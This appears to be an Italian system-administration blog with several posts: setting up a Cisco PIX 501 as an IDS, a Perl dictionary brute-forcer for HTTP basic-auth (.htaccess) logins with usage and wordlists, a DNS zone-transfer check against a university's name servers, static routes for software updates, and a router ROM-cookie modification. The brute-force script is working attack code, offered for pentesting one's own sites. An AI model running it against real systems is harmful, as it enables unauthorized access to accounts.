Il blog sull'informatica

Premesso che i PIX 501 sono molto limitati come IDS, in quanto supportano soltanto circa 70 signature (piuttosto datate), può tornare comunque utile configurarli come Intrusion Detection System di prima linea, a cui associare dei sistemi più sofisticati, basati ad esempio su snort.

Ovviamente, affinchè l'IDS possa svolgere il suo compito è necessario abilitare il logging dei pacchetti "sospetti", reindirizzandoli su un'altra macchina (aka logserver), in modo da non causare eventuali memory leak al nostro piccolo firewall (soprattutto se la mole di traffico che deve esaminare è piuttosto elavata).

Ma veniamo alla configurazione del PIX. Per prima cosa digitiamo il comando (in modalità enable):

NightFirewall# sh run | i ip audit

il cui output sarà:

ip audit info action alarm
ip audit attack action alarm

Esso rappresenta le due tipologie di signature che possono essere gestite dal firewall, ovvero info ed attack, con le rispettive azioni di default (che in entrambi i casi è alarm).

Definiamo adesso delle nuove policy di audit digitando:

NightFirewall# conf t
NightFirewall(config)# ip audit name esterna info
NightFirewall(config)# ip audit name interna attack action drop

La prima policy è di tipo info, la seconda è di tipo attack a cui è associata l'azione drop nel caso in cui vengano individuati dei pacchetti sospetti.

Associamo le policy di audit appena create alle interfacce del nostro PIX:

NightFirewall(config)# ip audit interface outside esterna
NightFirewall(config)# ip audit interface inside interna

ed infine lanciamo un write mem per salvare la nuova configurazione:

NightFirewall(config)# write mem

Ora il nostro PIX si comporterà come un IDS.

A presto.

PS: i log generati dal firewall avranno sa seguente struttura:

Oct 22 17:57:26 nightfirewall.*.org %PIX-4-400014: IDS:2004 ICMP echo request from 172.16.*.* to 172.16.*.* on interface inside
Oct 22 17:59:16 nightfirewall.*.org %PIX-4-400014: IDS:2004 ICMP echo request from 172.16.*.* to 192.168.*.* on interface inside
Oct 22 17:59:16 nightfirewall.*.org %PIX-4-400010: IDS:2000 ICMP echo reply from 192.168.*.* to 192.168.*.* on interface outside

In questo caso l'IDS ha generato dei falsi positivi, in quanto trattasi semplicemente di alcuni ping lanciati da nagios per i suoi check.

Ho quindi proceduto a disattivare le signature coinvolte utilizzando i seguenti comandi:

NightFirewall(config)# ip audit signature 2000 disable
NightFirewall(config)# ip audit signature 2004 disable

Premessa

Questo script non è farina del mio sacco. Il solo scopo di questo post è quello di mostrarne il funzionamento, in modo da semplificare la vita agli amministratori di sistema che volessero saggiare la robustezza delle credenziali .htaccess per l'accesso ai loro siti Web.

Script

#!/usr/bin/perl
###
#
# brute password crackalacker. useful for anything that uses .htaccess
# or other basic authentication methods.
#
# don't use it for anything stupid. it's for pentesting.
# - nwo
#
# 11/2/2007
#
###

use LWP::UserAgent;

sub usage() {
$progname = $0;
print "+--- created by nwo ---+n";
print "$progname (ip) (user) (dictionary file)n";
print "n";
exit(0);
}

sub auth() {
local($pw) = @_;
$ua = LWP::UserAgent->new;
$req = HTTP::Request->new(GET => "http://$ip/");
$req->authorization_basic($user, $pw);
@data = $ua->request($req)->as_string;
foreach $line (@data) {
if($line =~ /401/) {
return "0";
} else {
return "1";
}
}
}
$ip = $ARGV[0];
$user = $ARGV[1];
$dict = $ARGV[2];
if($dict eq "") {
$dict = "D8.DIC";
}
if($user eq "") { &usage; }

open(D, "$dict") || die "$!";
while() {
chomp($line = $_);
print "Trying $line....";
if((&auth($line)) eq "0") {
print "failed. Next..n";
next;
}
if((&auth($line)) eq "1") {
print "success! Password is $linen";
exit(0);
}
}

Lo usage dello script (come riportato nel sorgente) è il seguente:

perl htbrute.pl <ip del sito> <user> <dizionario>

Ad esempio:

perl htbrute.pl 192.168.1.1 admin italian

In particolare, i dizionari sono presenti nella directory /usr/share/dict. Potete comunque installarne di nuovi mediante il comando:

nightfly@nightbox:~$ sudo apt-get install <nome del dizionario>

I dizionari disponibili per l'installazione sono i seguenti (divisi in base alla lingua):

wgerman-medical
wfinnish
wcanadian-small
wcanadian-large
wcanadian-insane
wcanadian-huge
wcanadian
wbritish-small
wbritish-large
wbritish-insane
wbritish-huge
wamerican-small
wamerican-large
wamerican-insane
wamerican-huge
wukrainian
wswiss
wswedish
wspanish
wportuguese
wpolish
wogerman
wnorwegian
wngerman
witalian
wgalician-minimos
wfrench
wfaroese
wdutch
wdanish
wcatalan
wbulgarian
wbritish
wbrazilian
wamerican
miscfiles

Infine, nel caso in cui il nostro sito fosse raggiungibile solo mediante HTTPS, basta modificare la seguente stringa:

$req = HTTP::Request->new(GET => "http://$ip/");

in:

$req = HTTP::Request->new(GET => "https://$ip/");

Discorso simile va fatto se occorre controllare una determinata sottodirectory:

$req = HTTP::Request->new(GET => "http://$ip/nomedir");

Buon PenTest.

Finalmente, dopo MOLTO tempo dalla mia denuncia, i name server di ateneo sono stati configurati in modo da "impedire" le richieste di trasferimento di zona (axfr) provenienti da host non autorizzati. Ecco la prova:

nightfly@nightbox:~$ dig NS unirc.it

; <<>> DiG 9.7.0-P1 <<>> NS unirc.it
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19194
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;unirc.it.                      IN      NS

;; ANSWER SECTION:
unirc.it.               1799    IN      NS      ns1.garr.net.
unirc.it.               1799    IN      NS      csiins.unirc.it.

;; Query time: 58 msec
;; SERVER: 151.99.125.2#53(151.99.125.2)
;; WHEN: Sun Oct 16 13:32:06 2011
;; MSG SIZE  rcvd: 73

nightfly@nightbox:~$ dig @csiins.unirc.it unirc.it axfr

; <<>> DiG 9.7.0-P1 <<>> @csiins.unirc.it unirc.it axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.
nightfly@navigare-server:~$ dig @ns1.garr.net unirc.it axfr

; <<>> DiG 9.7.0-P1 <<>> @ns1.garr.net unirc.it axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.

Era ora...

A presto.

Recentemente ho installato un piccolo server in uno studio commercialista, su cui far girare un particolare applicativo sviluppato per la gestione della contabilità (et similia), il cui nome è IPSOA.

Per ragioni che non sto qui a spiegarvi, è stato deciso di inibire la connettività ad Internet del server in questione, ragion per cui non è stato impostato alcun gateway per l'accesso alla rete pubblica. Rimaneva un problema però, ovvero l'aggiornamento del software IPSOA.

Come si è proceduto dunque? Semplice, impostando delle rotte statiche che consentono di contattare gli indirizzi necessari per il download degli aggiornamenti. Ora, non conoscendo a priori tali indirizzi, mi son dovuto armare di uno sniffer (Wireshark) ed ho proceduto con un'analisi del traffico generato da IPSOA dopo aver cliccato sul pulsante per il download degli update.

Per prima cosa, il software in questione contatta il sito www.ipsoa.it per testare la connettività ad Internet.

Da un semplice ping ho constatato che l'hostname www.ipsoa.it risponde all'indirizzo IP pubblico 89.118.245.220.

Ho dunque proceduto con la creazione di una entry DNS nel file hosts di Windows, presente nella directory Windows->System32->drivers->etc. Per modificare tale file basta aprirlo con notepad (alias blocco note).

Inserite il seguente record:

89.118.245.220 www.ipsoa.it

Ora che esiste la entry DNS nel file hosts, possiamo procedere con la creazione della rotta statica per l'accesso al sito www.ipsoa.it

Apriamo un prompt dei comandi e digitiamo:

C:> route -p add 89.118.245.220 mask 255.255.255.255 <ip del nostro gw>

Così facendo, attraverso la flag -p, la rotta statica verrà inserita all'interno del registro di Windows in modo permanente, e non dovrà essere ricreata ad ogni riavvio del sistema.

Verifichiamo che la rotta sia effettivamente stata salvata digitando il comando:

C:> route print

e testiamo infine la connettività verso l'indirizzo IP 89.118.245.220 e verso l'hostname www.ipsoa.it (tirando in ballo, in quest'ultimo caso, il file hosts precedentemente modificato).

C:> ping 89.118.245.220

C:> ping www.ipsoa.it

Se ai nostri ping segue una reply degli host contattati significa che tutto funziona correttamente.

Eseguiamo la stessa procedura per l'host liveupdate.wki.it, ovvero quello da cui vengono effettivamente scaricati gli aggiornamenti. Esso risponde all'indirizzo IP pubblico 212.239.62.150:

C:> route -p add 212.239.62.150 mask 255.255.255.255 <ip del nostro gw>

e modifichiamo il file hosts aggiungendo la entry:

212.239.62.150 liveupdate.wki.it

lanciamo un route print ed eseguiamo i ping di rito. Se tutto funziona possiamo effettuare l'aggiornamento di IPSOA, il quale dovrebbe riuscire senza inghippi.

A presto.

NB: è stato possibile seguire questa logica poichè abbiamo a che fare con indirizzi IP statici su cui non è applicato il roud robin per la risoluzione dei nomi.

Premessa

Per effettuare l'upgrade del nostro router da SOHO 77 a 827 è necessario che esso soddisfi i requisiti hw richiesti dalla IOS che abbiamo intenzione di installare.

Se ad esempio la IOS implementa diverse feature, come un firewall, la possibilità di gestire il traffico VOIP o di realizzare VPN PPTP, i requisiti in termini di RAM potrebbero superare di gran lunga quelli in dotazione al nostro router. Un ostacolo ancora maggiore potrebbe essere rappresentato dalle dimensioni della memoria flash (solitamente 8 MB), dunque è impossibile installarci sopra una IOS che abbia dimensioni superiori agli 8 MB.

Esistono, ovviamente, dei moduli di espansione per la flash (piuttosto costosi), mentre per la RAM potete utilizzare un banco di SDRAM a 100pin PC100 dalla capacità di 32 MB (per intenderci, quella installata sulle stampanti). Per la precisione anche un banco di RAM a 64 MB va bene, sappiate però che il router riuscirà a leggere (e quindi ad utilizzare) solo 48 MB dei 64 disponibili.

Upgrade della piattaforma

Ma vediamo come far digerire al nostro SOHO 77 una IOS sviluppata per l'827.

Spegniamo il router e riaccendiamolo. Una volta avviata la fase di boot teniamo premuto CTRL+PAUSA, in modo di accedere al rom monitor.

Successivamente, il prompt ci apparirà nel modo seguente:

rommon 1 >

Per avere una lista dei comandi disponibili è sufficiente digitare ?:

rommon 1 > ?
alias               set and display aliases command
boot                boot up an external process
break               set/show/clear the breakpoint
confreg             configuration register utility
cont                continue executing a downloaded image
context             display the context of a loaded image
cookie              display contents of cookie PROM in hex
dev                 list the device table
dir                 list files in file system
dis                 display instruction stream
dnld                serial download a program module
frame               print out a selected stack frame
help                monitor builtin command help
history             monitor command history
meminfo             main memory information
repeat              repeat a monitor command
reset               system reset
set                 display the monitor variables
stack               produce a stack trace
sync                write monitor environment to NVRAM
sysret              print out info from last system return
tftpdnld            tftp image download
unalias             unset an alias
unset               unset a monitor variable
xmodem              x/ymodem image download
rommon 2 >

Ora, per fare l'upgrade del router occorre visualizzare il cookie che identifica la piattaforma. Per fare ciò basta digitare il comando cookie:

rommon 2 > cookie

cookie:
01 01 00 01 96 71 b4 61 5b 00 01 00 01 ff 00 00
00 00 00 00 00 00 00 00 4a 41 44 04 33 30 47 39
59 05 01 00 00 00 00 00 00 ff ff ff 60 04 49 11
ec 03 ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff

A noi interessa modificare ESCLUSIVAMENTE il nono byte, portandolo da 5b a 3e. Tutti gli altri byte possono rimanere inalterati.

Per modificare il cookie occorre entrare in modalità privilegiata. E' dunque necessario digitare il comando priv con relativa password, dove la password può essere calcolata mediante questo tool, dandogli in pasto solo la prima riga del cookie sopra riportato.

Una volta ottenuta la password utilizziamola per accedere alla modalità privilegiata. Riceveremo in output il seguente messaggio:

You now have access to the full set of monitor commands.
Warning: some commands will allow you to destroy your
configuration and/or system images and could render
the machine unbootable.
rommon 4 >

Digitiamo nuovamente il comando cookie per procedere con la modifica di quest'ultimo:

rommon 4 > cookie

View/alter bytes of serial cookie by field --
Input hex byte(s) or: CR -> skip field; ? -> list values
byte  0x00       - version: 01
                          >

Per lasciare inalterati i valori di default ci basterà premere INVIO. Per la precisione dobbiamo modificare solo il nono byte, il cui valore dovrà essere 3e.

Una volta terminata la modifica del cookie, possiamo installare la IOS dell'827 mediante il comando tftpdnld. Prima di utilizzarlo, però, si dovranno settare alcune variabili di sistema che tale comando utilizzerà, ovvero:

IP_ADDRESS

IP_SUBNET_MASK

DEFAULT_GATEWAY

TFTP_SERVER

TFTP_FILE

Ad esempio:

IP_ADDRESS=192.168.1.2

IP_SUBNET_MASK=255.255.255.0

DEFAULT_GATEWAY=192.168.1.1

TFTP_SERVER=192.168.1.1

TFTP_FILE=c827v-y6-mz.121-1.XB.bin

Controlliamo che le variabili siano state impostate correttamente digitando semplicemente set.

Adesso procediamo con il download dell'IOS mediante tftpdnld (come applicativo che funga da server TFTP vi consiglio di utilizzare tftp32):

rommon 10 > tftpdnld

          IP_ADDRESS: 192.168.1.2
      IP_SUBNET_MASK: 255.255.255.0
     DEFAULT_GATEWAY: 192.168.1.1
         TFTP_SERVER: 192.168.1.1
           TFTP_FILE: c827v-y6-mz.121-1.XB.bin

Invoke this command for disaster recovery only.
WARNING: all existing data in all partitions on flash will be lost!
Do you wish to continue? y/n:  [n]:

Digitiamo y e proseguiamo con l'installazione:

Receiving c827v-y6-mz.121-1.XB.bin from 192.168.1.1 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
File reception completed.
Copying file c827v-y6-mz.121-1.XB.bin to flash.

Erasing flash ................................................................
Programming flash ..............................

Digitiamo reset per riavviare il router e finalmente il nostro 827 è (o dovrebbe) essere pronto per l'uso.

A presto.